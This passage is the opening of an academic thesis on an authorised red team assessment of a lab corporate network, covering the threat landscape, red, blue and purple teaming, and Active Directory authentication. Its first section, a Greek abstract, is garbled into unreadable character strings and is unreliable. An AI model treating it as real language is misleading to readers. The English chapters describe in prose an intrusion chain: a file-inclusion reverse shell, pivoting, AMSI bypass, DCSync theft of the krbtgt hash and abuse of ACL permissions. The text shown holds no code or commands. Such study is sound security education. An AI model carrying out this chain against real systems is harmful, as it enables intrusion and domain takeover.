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Hepiinyn

e évov avEavOpeVa SLGVVIEOEUEVO KOG, Eival omapaitnTto OAES O1 OVTOTNTEG VO £XOVV LA IGYLPN
oTpaTNYIKy AQuovag oty kuPepvoacodietn. Ta  televtaia  ypdvio, ToAAOl  opyavicpol
YPTCULOTOLOVCHY TNV TPOGEYYIOT] “UmOKPIoT| OTAVINONGS GTO TEPIGTATIKA KLPEPVOUTPAAELNS, OOV
OTO100NTTOTE EVEPYEL YIVOTAV UETE TO GUUPAV.

INuepa, TOAAEG OVTIOTNTEG GUVELONTONOIOVY OTL OLTH 1 TPOGEYYIoT Oev givol TAEOV EMOPKNG Kol
oTPEPOVTOL OTNV “amOKPIoN ETOWWOTNTOAS TPOGEYYIoT, OOV OTMOLNONTOTE EVEPYELD YIVETE TPV TO
oupuPav pe okomd v amotpont| Tov [1]. O Adyog yio avtv TV adhayn eivat 0Tt 0 KAADTEPOG TPOTOC
Yl Vo SOKIUAGTOVV T OVTILETPA €ival 1 TPOGOUOI®ON Mg TPOYUATIKNG enifeong [2]. O okomdg
VTG TNG TTVYLOKNG epyooiag pe titho «EEmtepikn a&loldynon evmabeidv o€ etapikd mepilBaiiov
amd oudda emiBeoncy, elvar vo mopovcldcel TS Evag kakOBovdog ypnots Ba pmopovce va
dlelodvoel og pa eTopikn vrodour|, Tdg Ba kivnbel péoa oto diktvo Kot mdon Cnpd Oa propovce va
TPOKAAEGEL.

To mpmdto péPOG NG epyociog TMEPLEYEL TNV E10AYMYN] OTOL OVAMTOCOETOL 1) YEVIKN 1060 NG
KuPepvoacpdietoc, To yati n aoldoynon svmabeldv and o opdde eniBeons lval GMUAVTIKT, TOL0
TPOPANpa Tpocmafel va EMAVCEL Kot Tt EMTEVYONKE OO TO TPAKTIKO KOUUATL.

To debtepo pépog apopd to BepnTikd GKELOG KAl TEPIEXEL TOLG OPOVS TTOL YPNCLUOTOMONKAV KOTA
Vv OldpKewW TI €PYAGING, TOWol €ivar ol o TPOGPATOl Kivduvol, mwg degdyete pa a&toAdynon
gunafeldv and pio opdda eniBeonc, TI KATNYOPIES TOV OUAd®V GTOV XDPO TNG KLPEPVOUTPULELNG - O1
omoieg eivol KOKKVN, pUmle kot pof opddeg, T didpopeg pebodoloyiec, Ta epyoieio Kot To TAGICLO
(frameworks) mov ypnoomombnkay.

To 1pito pEPOC OPIEP®VETOL OTO TMPOKTIKO OKEAOG TNG epyociag kol mePAapPavel: vanpecieg
“Windows Active Directory”, évav e&umnpemty (server) “Windows 10” o omoiog Aettovpyel cav
“Domain Controller”, évav meddtn pe “Windows 107, éva eEmtepikd teiyog mpootaciog (firewall) Tov
Aertovpyel kot cav dpopuoAroynTig (router) kot Evav eEuampetnty (server) wov tpéxet “Ubuntu Linux”
0 omoiog Aettovpyel cav gEumnpetntig wotov (web server). Emmpocétmg, Oa mepiéyel avoivtikd
Prprota yio to mog dieEnydn n kébe eniBeon poll pe e1KOvVes, TIG EVIOAEC TTOL YpNCIHoTOoM KAy Kot
ywiti dovAgvovv avtéc o embéoels. Emiong, didpopeg teyvikég mov ypnoomombnkay yio eniBeon
/expetdilevon (exploitation), kivinon péoa oto diktvo (pivoting), kot emypovn| (persistence).

Ta Pripata mov akolovdNONKay Yot TO TPAKTIKO HEPOG, TEPIANTTIKA etvon ta €€Mg: O e&umnpetntig
1010V (Web server) mepiéyel dvo Kpved apyeia mov gival evdimta og emBéoelg “Local File Inclusion
(LFD)”. To mpdto apyeio pumopel pmopel va ypnoionondel yio vo, amokKoADYEL TOV Tryaio KOO TG
devTEPNG OEAIDAG OOV LIAPYEL L0 KPLON TOPAUETPOG 1 OOl ¥PNOCUOTOLEITAL Yo TN UETAS00M
QTTOILOKPVOUEV®Y EVTIOA®DY oTov dlakopot. H opddo enibeong 0o a&lomomoel avtyv v gumddeia
Y0l VO 0TOKTNOEL £voL ovTioTpopo kAo (reverse shell) otov dtakopot pe to epyaieio LFITester.
> ouvvéyela, m oudda 0o avénosl to. mpovoula (privilege escalation) exuetaAlevouevn o
goQouAuévn olapdpemon (misconfiguration) tov mpoypdupatog “VI7 yi vo yivel ypnomg ue
avénuéva mpovopo. ‘Emetta , por GAAN eo@oipévn pobBuion mopapétpov (misconfiguration) evog
apyelov mov avikel 6Tov ¥pnotn “root” Ba ekpetaArevdel Yo vo mapafidost (compromise) TANPOG
TOV O10KOMIOTH 10TOV KOl VO, ATOKTHOEL Empovn] (persistence) péow tng vanpesiog SSH. Metd amo
avTtd, M KOKKWV opdda o petamnonoet (pivot) amd Tov S10KOMGOTH 16TOD G €va KPueo SiKTvo
(DMZ), ue éva. epyaieio mov ovopdletar sshuttle kot Oa Bpet Evav vroroyiot) pe Windows 10. Xe
avTo T0 6TAd10, 1 opdda Oa dielaydyer pia Epevva “Open-Source intelligence (OSINT)” 6mov Oa Bpet
SMIOTEVTNPIOL  AMOUOKPLUGUEVTG  empavelag  epyaciag (RDP)  evog  vmoAliAov mov O
¥PNOLLOTON 000V Y10 VO ATOKTHGOVY TPOGPacT] LEGH EVOG TPMOTOKOALOL GVOLYTNG UTOUAKPLGUEVTC
empaveng epyaciog (RDP) otov voioyiot) péoa 610 kpueod diktvo (DMZ). Xe avtd 1o onpeio, to



mhoioto (framework) Covenant C2 0o ypnotponombei ya peyoldtepn svehéio otig embécels. Me )
SeEaymyn tomkng amapiBunong (local enumeration) pe to Covenant, Oa Bpebel pia vanpecio mov
avikel oto LocalSystem pe advvopo Stkoudpoto kot ekpetaAievbel yio minpn mapafiocn tov
VTOAOYIOTH XWOPIG TNV EVEPYOTOINGT CLUVOYEPUMDV GO TNV OVTIIKN Tpoctacia (antivirus). EmimAéov, to
gpyoreio Bloodhound Ba ypnoyoromBei yio tnv amapibunon tov topén (domain) Kot tnv €bpeon Tv
Swyeprotmv tov Topén (domain admins). Kabmg emiong, kot pio copn dtadpoun amd tov TpE)ovia
yxpNotn Topéa Tov voioywoty| (domain user) mpog v opdada "dwyxepiotés topéa (domain admins
group)". T'a va to metdyel avtd, N opdda Ba exterécel (o oepd embécewv péocw tov Covenant
Kévovtag katdypnorn tov Motdv gléyyov tpocPaong (ACL) ko ot cuvéyelr mpocBétovtag Evav
dAho mapaPlacpévo ypnotn (compromised user) ¢ odtayeipiot) topéa (domain admin) yw va
apoflacel TANPwg oAdKANpo tov Topéa (domain) g vanpeciog “Active Directory”. Emmpocbétmg,
YPTOCULOTOIDOVTOG TNV OTOUOKPLGHEVT Agttovpyion Tov “PowerShell” and tov vmoroyioty "THE-
WHITE-RBBIT" otov “Domain Controller” pe tov Aoyaplacuod dwayeipiot) topén (domain admin), n
opado pmdpece va mopakdpyel v tpoctacio AMSI, va avoitel éva avtioTpoeo KEAVQOG (reverse
shell) oto Covenant kot vo ekteléoetl o eniBeon “DCSync” khéPfovtag 1o “hash” tov kwdikov
pocPacng tov Aoyaplacpol «krbtgty wg anddeién. ‘Etot, n olokinpwon g a&loddynong Exoviag
Katoldpel TANpmG Tov Sakoot 1otov (web server), tov vroioyiot) pe Windows 10, tov “Domain
Controller” kot oAdKANpo TOV TOpEN (domain) ¢ vanpeciog Active Directory.

210 TEAELTOIO LEPOG, VILAPYEL oL Ovapopd GYETIKA e OAeG TG evmtdbeieg mov Ppedrikav, Tt avtikTumo
£€Youv Kot g Umopovv va olopBmBovv. Axopa mapatifetor 1o TAAiclo TV Kavoévov aloldoynong
petald g etoupiog mov Oegdyel v emifeon Kot TOL TMEAAT, OOV OAVOEEPOVTIOL Ol OMUEln
umopovv va ytomnbovv, mola Oyl Kot T €idovg embéoelg pmopovv vo Oie&aybovv. EmmAiéov
mapoTifetan 0 kKOG amod Tig 16T0GEAdEC (Websites) Tov e&vanpetnTn 16T00 (Web server).



Abstract

In an increasingly interconnected world, it is essential for all entities to have a strong cybersecurity
strategy and defense. The last few years, organizations were relying in a "Response-Oriented"
approach to cybersecurity incidents. Today, many entities realize this approach is no longer sufficient
and turn to a more "Readiness-Oriented™ approach [1]. The reason for this change being that one of the
best ways for a defense to be tested is the simulation of a real-world attack [2]. The purpose of this
thesis with the title <<An External Red Team Assessment in a Corporate Environment>> is to
demonstrate how a malicious user could infiltrate a corporate infrastructure, how would he move
inside the network and how much damage he could cause. Featuring, Windows Active Directory
services with a domain controller one Windows 10 client and a firewall which is also used as a router.
Furthermore, there will be an Ubuntu web server hosting a website with a Local File Inclusion (LFI)
vulnerability which will be used as the initial foothold.

The first part of this thesis will be an introduction and will include a general idea of cybersecurity,
why a red team assessment is important, what problem is it trying to solve and what has been achieved
from the practical part.

The second part will be more theoretical about the terminology used, what are the current threats, how
a red team assessment is performed, different methodologies, tools and frameworks, why this kind of
testing is essential and differences between the cybersecurity teams which are red, blue and purple
teams.

For the third part there will be an analysis of the steps taken to conduct all the attacks, exploitation,
pivoting and persistence described in the first part, but also how these vulnerabilities can be mitigated.
This operation will be performed according to the MITRE ATT&CK framework.

Finally, there will be a report about all the vulnerabilities found in the network along with their
mitigation and an assessment of the damage and potential loss for the company if these series of
events take place. Also, the rules of engagement document will be provided which is the legal
document that certifies the legality of this assessment and will determine what systems are in scope
and what attacks can and cannot be performed.
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Introduction

Chapter 1: Introduction

1.1 The problem

The threat of cyber-attacks is always present and all entities should be prepared to defend/detect and
respond to a potential attack as soon as possible. Attacks on corporations, and even sovereign states,
have accelerated over the past decade. In 2021, hackers stole more than a hundred million dollars in
cryptocurrency, attempted to poison the water supply in Florida, hacked into COVID-19 vaccine
producer Pfizer pharmaceuticals, attacked Colonial Pipeline using ransomware, and targeted
government agencies and political activists in France, Germany, India, the Netherlands, Sweden,
Ukraine, and the United Arab Emirates. Two more examples that played a major role in the rapid
increase of cyber-attacks are, the COVID-19 pandemic that started in 2019 (not over at the time of
writing) which affected the world and the Russian invasion of Ukraine on February 28, 2022. The
increase of cyber-attacks and cyber-crimes during the COVID-19 pandemic is because more and more
services are migrating to the Internet and most activities can be done online. Activities such as e-
learning, remote working and online shopping have become the norm during the numerous quarantines
around the world. Because of this, more and more vulnerable systems come online and are easy prey
for malicious actors. Another reason is the number of people who stay online at home, many of whom
lost their jobs as many businesses closed. Some of these individuals may seek financial gain through
cyber-crime. Moreover, many threat actors can exploit the fear and anxiety of people about the
pandemic by conducting COVID-19 themed attacks, part of a technique also known as social
engineering [3]. On the other hand, in the case of Ukraine’s invasion, the U.S. Cybersecurity and
Infrastructure Security Agency (CISA) issued a plan to help organizations prepare for, respond to and
mitigate the impact of cyber-attacks [4] along with a warning for an increasing risk of a Russian
cyber-attack in the U.S. critical infrastructure [5]. Additionally, the European Central Bank (ECB) has
warned European financial institutions to prepare for a potential Russian-sponsored cyber-attack even
if the institution has no direct links to Ukraine [6]. Because so much of the world’s productivity
depends on technology, attacks on technological infrastructures can have grave social and economic
consequences. Understanding how to defend this infrastructure is not enough. Ethical hackers are
needed to help secure it. Ethical hackers are professionals who understand how to attack an
infrastructure and discover vulnerabilities before they are exploited by bad actors. These ethical
hackers publish new vulnerabilities in the National Vulnerability Database almost daily. Many also
practice responsible disclosure, notifying companies before making a vulnerability public [7].

Cybersecurity can be divided into 3 main categories: red team, blue team and purple team. like many
other terms in information security, these terms have their origin in the military. The concept of
Red/Blue teaming was introduced in World War | and the general idea was to check the effectiveness
of attacks and defenses through simulations where the red team was the aggressor and the blue team
was the defenders. This strategy is still used in the military to predict how an adversary would behave
in a real situation and to test their defenses [8].

There is no silver bullet when it comes to cybersecurity. An organization must be ready to detect and
respond to security events and breaches effectively. Preventive measures alone are not enough to deal
with adversaries. An organization needs to create a well-rounded prevention, detection, and response
program. Establishing an offensive security program can help improve the security posture of
organizations and identify weaknesses in prevention, detection, and response to security incidents. An
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effective defense is built by understanding the threat and stressing it by simulating real-world attack
scenarios. This is the reason many entities are turning to ‘Red Teaming’. By understanding the
weaknesses and vulnerabilities of current technology, organizations along with professional red
teamers can design a plan for the worst-case scenario in order for the IT department to develop the
capabilities needed for detecting and responding rapidly to security breaches [9].

1.2 The purpose

The purpose of this thesis is to demonstrate how an offensive simulation works on a corporate
environment with the MITRE ATT&CK framework as a guide in combination with “living-off-the-
land” (LotL) techniques to avoid detection. At the end of this document are the rules of engagement
(Appendix A) signed by the client which contains what parts of the company are the targets and what
not, what attacks are allowed to be performed and what are not and the mutual agreement for this
assessment. There is also, the final report containing all the vulnerabilities found in the network along
with their recommended mitigation.

1.3 The content

The first part of this thesis is an introduction and will include a general idea of cybersecurity, why a
red team assessment is important, what problem is it trying to solve and what has been achieved from
the practical part.

The second part is more theoretical about the terminology used, what are the current threats, how a red
team assessment is performed, different methodologies, tools and frameworks some of which include
Covenant C2 framework, Bloodhound and Mimikatz, why this kind of testing is essential and
differences between the cybersecurity teams which are red, blue and purple teams. Furthermore, there
are the reasons of how and why the attacks demonstrated work

In the third part there are, in detail along with screenshots, the steps taken to conduct all the attacks
such as, local, network and domain enumeration, privilege escalation techniques on Windows and
Linux systems, pivoting, persistence, antivirus evasion techniques and living-off-the-land techniques.

Finally, there will be a report about all the vulnerabilities found in the network along with their
mitigation and an assessment of the damage and potential loss for the company if these series of
events take place. Also, the rules of engagement document will be provided which is the legal
document that certifies the legality of this assessment and will determine what systems are in scope
and what attacks can and cannot be performed.

1.4 The scenario

The scenario for the technical part is as follows, the Ubuntu web server has two hidden files in the
main webpage, the first can be used to disclose the source code of the second page which has a hidden
parameter used for passing remote commands to the server. The red team will leverage this
vulnerability to gain a reverse shell on the server with the LFITester tool. Next, the team will escalate
their privileges by exploiting a misconfiguration with the VI binary to become a user with elevated
privileges. Then, another misconfiguration of a file owned by the user root will be abused to fully
compromise the webserver and gain persistence through the SSH service. After that, the red team will
pivot from the web server to a hidden network (DMZ), with a tool called sshuttle, and find a Windows
10 host. At this stage, the team will conduct an open-source intelligence (OSINT) investigation to find
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remote desktop (RDP) credentials of an employee which will be used to gain access through an open
remote desktop protocol (RDP) on the Windows 10 host. At this stage, the Covenant C2 framework
will be used for more flexibility on the attacks. By conducting local enumeration with Covenant, a
service owned by LocalSystem with weak permissions will be found and abused to fully compromise
the host without triggering any alarms. Additionally, the tool Bloodhound will be used to enumerate
the domain and find one domain admin and a clear path from the current domain user of the Windows
10 host to the “domain admins” group. In order to accomplish this, the team will perform a series of
attacks through Covenant abusing the Access Control Lists (ACLs) of the domain and then adding
another compromised user as a domain admin to take over the entire Active Directory domain.
Furthermore, using PowerShell remoting, from “THE-WHITE-RBBIT” host to the domain controller
with the domain admin account, the red team was able to bypass the AMSI protection, open a
Covenant reverse shell and perform a DCSync attack stealing the password hash of the “krbtgt”
account, as a proof-of-concept. Thus, concluding the assessment having fully compromise the web
server, the Windows 10 host, the domain controller and the entire Active Directory domain.

1.5 The Findings

In the end the red team identified three critical vulnerabilities which must be mitigated as soon as
possible as they are the greatest danger at this time for the company along with another three high
vulnerabilities. The team also found three medium vulnerabilities which do not pose as much danger
as the critical or high vulnerabilities but they must be mitigated nonetheless. Lastly, there are two
more informational vulnerabilities in the company but they do pose any danger.
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Chapter 2: Theory

2.1 The Cyber-threat Landscape

The incidence of cyber-attacks has increased through in 2020 and 2021 as did their impact and
complexity. According to the European Union Agency for Cybersecurity (ENISA) this is mainly due
to the Covid-19 pandemic and the hybrid office model that has become the new norm. This trend has
led to an ever-growing online presence and many legacy infrastructures are coming online seeking
cloud-based solutions. Because of this, the cyber-threat landscape has grown significantly in terms of
the sophistication of attacks along with their complexity and impact on supply chains and critical
infrastructure. In addition, some key trends that prime threats follow are:

e Covid-19 themed attacks and cyber-espionage

o Governmental organizations have started operating offensively not only nationally but
internationally as well. Also, they have strengthened their defenses against state-sponsored
threat actors

e The increase of cyber-attacks on critical infrastructure and supply chains

e The growing business models of Ransomware-as-a-Service, Phishing-as-a-Service and
Disinformation-as-a-Service. Additionally, ransomware is the prime threat during the
pandemic.

e The use of new or uncommon programming languages to port malware so that it will be more
difficult to detect

e An increase in the activities of crypto mining and cryptojacking due to the rise of
cryptocurrencies in the last few years

e Asurge of data breaches related to the healthcare industry due to the pandemic

e The increment of Denial of Service (DoS) attacks such as Distributed Denial of Service
(DDoS) attacks against mobile and Internet of Things (1oT) devices and networks, Ransom
Denial of Service (RDoS) which is the new frontier of DoS attacks

¢ Misinformation and disinformation distributed by Artificial intelligence (A.l.) models which
makes people more susceptible to phishing campaigns by exploiting their fears and beliefs.

Moreover, due to the sudden global impact of the pandemic, in 2020 and 2021 human errors and
system misconfigurations have increased so dramatically that most breaches in 2020 were caused by
errors. One of the most serious threats is the Advanced Persistent Threats (APTs). According to NIST
the term refers to threat actors with sophisticated expertise and well-funded resources to conduct
advanced, persistent, complex, multi stage, targeted attacks against organizations, companies and
governments for espionage and subsequent data exfiltration. Furthermore, APT attacks can take place
repeatedly over an extending period of time, if needed, to achieve their goals. Due to the high level of
expertise and funding, they can develop their own exploits (0-days) making use of unknown
vulnerabilities that challenge even state-of-the-art detection methods and systems [10][11].

The company Lockheed Martin in order to detect and respond to intrusions and APTSs, has developed
the Cyber Kill Chain framework which is part of the ‘Intelligence Driven Defense model’. There are
seven stages in the kill chain that define the different phases of a cyber-attack. The idea is that because
the steps are sequential, if one of the stages is blocked/stopped the attack will be stopped. The steps
are as follows:

e Reconnaissance is the first stage where a threat actor gathers as much intelligence as possible
about the network to find the most vulnerable target and which vulnerabilities can penetrate
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the network. Also at this stage, attackers will map the network to find out where the sensitive
information is held if their goal is data exfiltration or compromise a critical point in the
network if their goal is destruction or disturbance of the infrastructure.
Weaponization, at this stage the offender uses the information gathered during the
reconnaissance phase to find what vulnerabilities can be exploited to deliver the payload. If
the goal is destruction, the payload can be a malware such as a worm or a virus. But when the
intent is command and control (C2) the payload might be a Remote Access Tool (RAT) that
establishes communication between the adversary and the victim. The latter also requires a C2
server hosted on the internet and controlled by the threat actor.
Delivery, is the next stage of the kill chain in which the exploit is delivered to the target and
the payload is in place. One delivery method that requires user interaction is a phishing email
in which the offender tricks the victim into downloading and running the payload. Another
approach that does not require user interaction is web exploitation or code injection.
Additionally, the attackers will take every precaution to remain undetected for as long as
possible, thus, designing a stealthy delivery process is a critical part of the attack plan.
Exploitation, at this stage the malware is installed on the target if the following requirements
are met:
1. The malware should have the required permissions
2. The operating system must be the same the malware is compiled for
3. The malware should be able to bypass any defense of the target in order to remain
undetected. Otherwise, the attack will fail and the kill chain will break. The exploit
abuses a software or hardware bug to gain privilege or cause damage. These bugs are
called Common Vulnerabilities and Exposure (CVEs). CVE is the international
standard for identifying vulnerabilities. There is a public library of all discovered
vulnerabilities which is regularly updated as more and more bugs come to light. This
library is called CVE.org, sponsored by the U.S. Department of Homeland Security
(DHS) and CISA and operated by the Mitre corporation [12]. There is also a public
database with the exploits of all the CVEs called Exploit Database, maintained by
Offensive Security Corporation [13].
Installation, this stage can be skipped if the malware is an executable, based on code injection
or an insider threat. On the other hand, if the malware needs to be installed, the exploit should
have delivered the payload during the delivery stage and after the exploitation stage the
security systems should be disabled or bypassed.
Command and Control (C2), this stage is the last stage of the kill-chain where an attack can
be blocked/stopped. Command and Control is primarily used by attackers who want to
exfiltrate data such as passwords, financial data and other sensitive information or send
instructions to the delivered malware to perform further actions. All of these operations
require a C2 server controlled by the attacker.
Actions on Objective, this is the final stage of the cyber kill-chain responsible for performing
the necessary actions for intruders to complete their goal whether it be stealing sensitive
information, sabotaging an organization or activating a ransomware [14].

2.2 Red Teaming

The red team is a sub-branch of cybersecurity that focuses primarily on the offensive end. Red team is
also an advanced form of assessment used to uncover weaknesses in a target system’s defenses. This is
even more effective if the target system is still under development where changes and patches can take
effect immediately. The first step is; that the client, which can be almost any entity, decides that it
wants a red team assessment rather than a penetration test. Then, a team will be formed, usually made
up of professionals from different backgrounds to be as diverse and effective as possible. These
professionals can be information system analysts, consultants, specialists and other experts as needed.
The idea is that the more diverse the team is the broader its knowledge will be in order to achieve the
desired result [15]. One big difference between a red team assessment and a penetration test is that a
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penetration test focuses primarily on identifying and exploiting vulnerabilities without the fear of
being discovered or leaving traces behind. In contrast, red teaming attempts to emulate a real attacker
by using a variety of tactics, techniques and procedures (TTPs) that allow them to operate stealthily to
avoid notifying the blue team but still being as through as possible to assess the entire network.
Moreover, the goal of a traditional penetration test is to identify and exploit all the vulnerabilities on
specific targets defined by the client. In contrast, a red team assessment attempt to launch a wide-range
attack on the client’s infrastructure with the purpose of gaining command and control over the entire
network. Also red teamers usually have more freedom in attacks than penetration testers such as
gaining sensitive information through social engineering [16]. Social engineering is the use of
psychological tricks to exploit human nature for malicious purposes. Red teamers often rely on social
engineering to gather sensitive information or trick the end-user into downloading a payload and gain
initial access to the target’s network. One of the most famous social engineering attacks is phishing.
Phishing usually exploits the sense of urgency or the sense of trust in people by pretending to be
someone else. Another attack method is using in person manipulation, by socializing with the target, in
order for the attacker to gain his trust and extract sensitive information [17]. In both cases, to get the
most from such testing, the defensive operations of the client, known as blue team; would by on
standby to detect and cut off the red team moving through the network. While the benefits of a red
team assessment are highly valued, there are also factors that often hinder the conduct of such testing.
One of the factors is cost, the employment of a team that is very specialized, knowledgeable and
experienced costs a lot of money. Furthermore, it is not easy to find specialists with appropriate
training and experience to form such a team [18].

2.3 Blue Teaming

The blue team is the defensive department of the organization and the counter of red team. Just like
the red team, the blue team should also be made up of professionals from different departments with
different backgrounds, knowledge and expertise. The purpose of the blue team in a red team
assessment is to ensure the security of the organization’s assets and if the red team finds and exploits a
vulnerability, they need to rapidly remediate the incident, cut off the offenders and document the
incident for similar situations in the future. If an adversary is able to breach the system the following
tasks must be performed to minimize the damage.

e It is important to preserve any evidence found in these incidents in order to analyze,
rationalize and remediate the vulnerability used for the breach.

e Immediately notify and engage all relevant teams which may vary from organization v to the
organization, as soon as there are signs of compromise.

e Engage law enforcement if a warrant is required to perform further investigation.

e The blue team must develop and execute a remediation plan to either isolate or cut off the
adversary.

e After the breach has been dealt with. A second plan for the organization’s recovery must be
developed.

The red team and the blue team’s work isn’t finished when the red team compromises the system.
Instead, these teams must work together to produce a final report that highlights the details regarding
the breach, document the timeline of the attack and analyze which vulnerabilities were exploited to
gain access to the system and escalate privileges. Additionally, the report must include the impact of
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such an attack on the organization as well as methods for remediating discovered and exploited
vulnerabilities [19].

2.4 Purple Teaming

The purple team is a collaboration between the red team and the blue team with the red being the
attacker and the blue being the defender. The combination of the two teams is a very effective way for
an organization to secure its assets. The purpose of this team is to translate the successful breaches of
the red team into corrective and preventable actions for the blue team. In addition, the primary focus
of the purple team is on some adversarial tactics which include initial access, privilege escalation,
defense evasion, credential gathering and lateral movement [20]. But the combination of these two
teams is not without its challenges. The most common problem is personnel. It can be difficult to find
the right professionals with offensive and defensive backgrounds and even harder to get them to work
together for an efficient and successful assessment. This often happens because the two teams are
against each other and the success of one team means the failure of the other. This creates rivalry
between the red and the blue teams, making cooperation difficult [21].

2.5 Active Directory

Active Directory is a directory service developed by Microsoft for Windows domain networks. It is a
logical hierarchy that provides a way to store and process data that can then be used by other users and
administrators on the network. Stored data typically includes shared resources such as servers,
volumes, printers, groups, network devices, file shares, trusts and network accounts for users,
administrators and computers. All information collected for Active Directory comes from Microsoft’s
documentation and is publicly available to all. Additionally, Active Directory provides authentication
and authorization capabilities within a domain environment. This logical structure is based on
components such as domains, forests and organizational units but is also based on protocols such as
LDAP, Kerberos and DNS for authentication and communication.

Forests are the highest level in the Active Directory structure and represent the logical security
boundaries. A forest can thought of as a collection of active directory domains which include but not
limited to domains, users, groups, computers and group policy objects. Each forest operates
independently but might have trust relationships with other forests. In addition, Administrators in a
forest have complete control over all access to the data stored. Furthermore, a trust creates a link to
establish forest to forest and domain to domain authentication. This allows users to access resources
from domain outside of their own.

A Group Policy Object (GPO) is a virtual collections of policy settings. This collection can contain
local file system or Active Directory settings. Additionally, these policies can be applied to all users
and computers within the domain.

Domains can be created in a forest to divide the information in the directory into smaller pieces for
better control over how data is stored on various domain controllers. This way, the bandwidth of the
network is not wasted by duplicating data where it is not needed. Every domain has its own separate
database and policies that can be applied to all objects within this domain. In addition, domains can
contain organizational units (OUs), which are logical containers that administrators can use to group
resources such as users, groups and computers for better management. Furthermore, organizational
units can help administrators assign Group Policies or delegate control to other users.
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A Distinguished Name (DN) describes the full path to an object in active directory and contains the
Common Name (CN) of the object which is just a way to be searched or accessed, the Organizational
Unit (OU) and the Domain Component (DC) which is the name of the domain.

A domain controller is a Windows server with Active Directory Domain Services installed. A domain
controller is the brain of an Active Directory network and it holds information for the domain for
which it is responsible but if it is designated as a global catalog, it holds information from all domains
in the forest. Additionally, Active Directory automatically updates the global catalog when data
changes. In addition, the global catalog optimizes searches by eliminating server-to-server references
until the required information is found. Therefore, the first domain controller in the forest is
automatically created as a global catalog. Moreover, Active Directory searches are directed to the
global catalog server by default.

Microsoft developed a method called replication for Active Directory to help create a backup in the
event of a domain controller’s failure. This method occurs when objects are transferred from one
domain controller to another or when a domain controller is added to the forest. This way, replication
ensures that all changes are synchronized across all domain controllers in the forest.

To prevent accidental deletion of objects, Microsoft has developed two components to recover any
deleted objects within a specified time period without using a backup or restarting the entire Active
Directory service. The first component is the Active Directory Recycle Bin. If enabled, each deleted
object will be retained for the period of time set by the administrator, which defaults to 60 days, during
which the object can be fully recovered. If the Active Directory Recycle Bin is not enabled, all deleted
items are moved to a container object named Tombstone, where they remain for a period of time
which Microsoft recommends be 180 days and can be restored without any attributes that object might
had before. After the period of time has passed the object will be completely removed. Moreover, the
term object can refer to any resource present within an Active Directory environment such as
Organizational Units, printers, users or domain controllers.

Active Directory Schema is a Microsoft Management Console (MMC) that manages Active Directory
Domain Services. It holds information about each object and defines what types of objects can exist in
the active directory database. Each object has its own information that are stored in attributes.

The NTDS.DIT file is the heart of Active Directory. It is a database on a domain controller that stores
data such as user information, group objects, group memberships and password hashes for all users in
the domain. This file is one of the most important files in the entire Active Directory as its contents
can be used by attackers to perform pass-the-hash attacks or to crack password hashes offline and
compromise the entire domain [22].

The Lightweight Directory Access Protocol (LDAP) is an open-source, cross-platform protocol for
authentication. This protocol allows applications to communicate with other servers that provide
directory services. Additionally, LDAP allows the search for an item without knowing its exact
location. This is a way for systems to “talk” to Active Directory. LDAP uses two types of
authentication:

e Simple: This type includes anonymous, credentialed and unauthenticated authentication.
e SASL: Simple Authentication and Security Layer (SASL) is a framework that uses other
authentication types such as Kerberos [23].

Aside from LDAP, Active Directory uses other authentication methods such as LM and NTLM. Lan
Manager (LM) hashing is the oldest password storage mechanism used by Windows. These hashes are
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stored in the SAM database on a host and in the NTDS.DIT database on the domain controller. This
authentication method is now deprecated due to significant security issues in the hashing algorithm.
On the other hand, the NT Lan Manager (NTLM) hash uses three messages for authentication. First,
the client sends a negotiate_message to the server, which responds with a challenge_message to verify
the client’s identity and then the client responds with an authenticate_message. These NTLM hashes
are stored in the SAM database or the NTDS.DIT database on the domain controller. Unfortunately,
NTLM hashes were also vulnerable to brute-force and pass-the-hash attacks. For this reason, the
NTLMv1 hash was developed which uses both NT and LM hashes and is created by a challenge-
response algorithm between a server and a client. Nonetheless, this hash can be captured with a tool
such as Responder via an NTLM relay attack or an LLMNR poisoning attack and cracked offline.
However, this hash cannot be used for pass-the-hash attacks. Then, there is the NTLMv2 hash
algorithm which builds on and improves upon the NTLMv1.

NTLMv2 hashing is more robust and multi-level but only allows one-way authentication which
decreases NTLM security and it is still vulnerable to some NTLMv1 vulnerabilities since it uses the
same authentication mechanism.

That’s where Kerberos comes in, which has been the default authentication protocol since Windows
2000 and since then it has been an integral part of the Windows Active Directory service. Kerberos is
a protocol for authenticating service requests between trusted hosts over untrusted networks, such as
the Internet. All major operating systems have built-in support for this protocol, including Microsoft
Windows, Apple macOS, FreeBSD and Linux. It was originally developed for the Athena Project at
the Massachusetts Institute of Technology (MIT) and published in 1993. Kerberos uses “tickets” and
the Kerberos Key Distribution Center (KDC) to verify users and provide mutual authentication. The
KDC is the heart of Kerberos because it provides two services: authentication and ticket-granting
tickets for all principals/users. Kerberos and LDAP are often used together. The way this ticketing
system works is by having the client send an authentication request to the KDC and request for a
ticket-granting service to initiate the authentication process. This request is in plain text as it does not
contain any sensitive information. If the username is in the KDC database, the server sends back to the
client a ticket-granting-ticket (TGT) and a session key, both encrypted with the user’s password. The
client decrypts the message with his password and sends the ticket to the ticket granting server. Next
the server verifies the validity of the TGT and sends back to the client a ticket-granting-service ticket
(TGS), encrypted with the user’s NTLM hash, to access the requested service. The KDC uses a built-
in account called krbtgt, which stands for Kerberos ticket-granting ticket, and is responsible for
granting, encrypting, signing and validating all Kerberos tickets. This is the most powerful account in
the entire active directory, if the attackers manage to compromise this account, they will have
complete control over the domain by creating, modifying or verifying any ticket they want. After the
verification process, the user sends the received ticket to the application server and if this ticket is
valid, the requested service can be accessed.

Some of the advantages of this ticketing system are:

e Passwords are never transmitted over the network instead only time-bound encrypted tickets
are exchanged

e The user provides his password only once when first authenticating to the KDC. A technique
known as single-sign-on.

o Enables a service to act on behalf of the user when connecting to other services. A mechanism
called Delegated authentication.
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With Kerberos a party at either end of a network connection can verify that the party on the
other end is the entity it claims to be. This type of authentication is called Mutual.

The usage of renewable session tickets to replace pass-through authentication which is not
required for the server to go to the domain controller for every client or service [24][25].

Active directory services are in almost every corporate environment and has been the main attack
vector for many years. Some common attacks, which are also featured in the second (practical) part of
this thesis, are:

ACLs abuse: Access Control Lists (ACLs) are ordered collections of rules that define the
permissions of different entities on an active directory object. This object can be a user
account, group, computer account, an organizational unit (OU) or the domain itself. In
addition, an Access Control Entry (ACE) defines access or audit permission on an object for a
specific user or group [26]. A threat actor can abuse these relationships between active
directory objects if they are not configured properly. The abusable permissions include:

1. GenericAll = full rights to the object

2. GenericWrite = update object’s attributes

3. WriteOwner = change object owner to attacker-controlled user to take over the object

4. WriteDACL = modify object’s ACEs and give attacker full control right over the

object

5. AllExtendedRights = ability to add user to a group or reset password

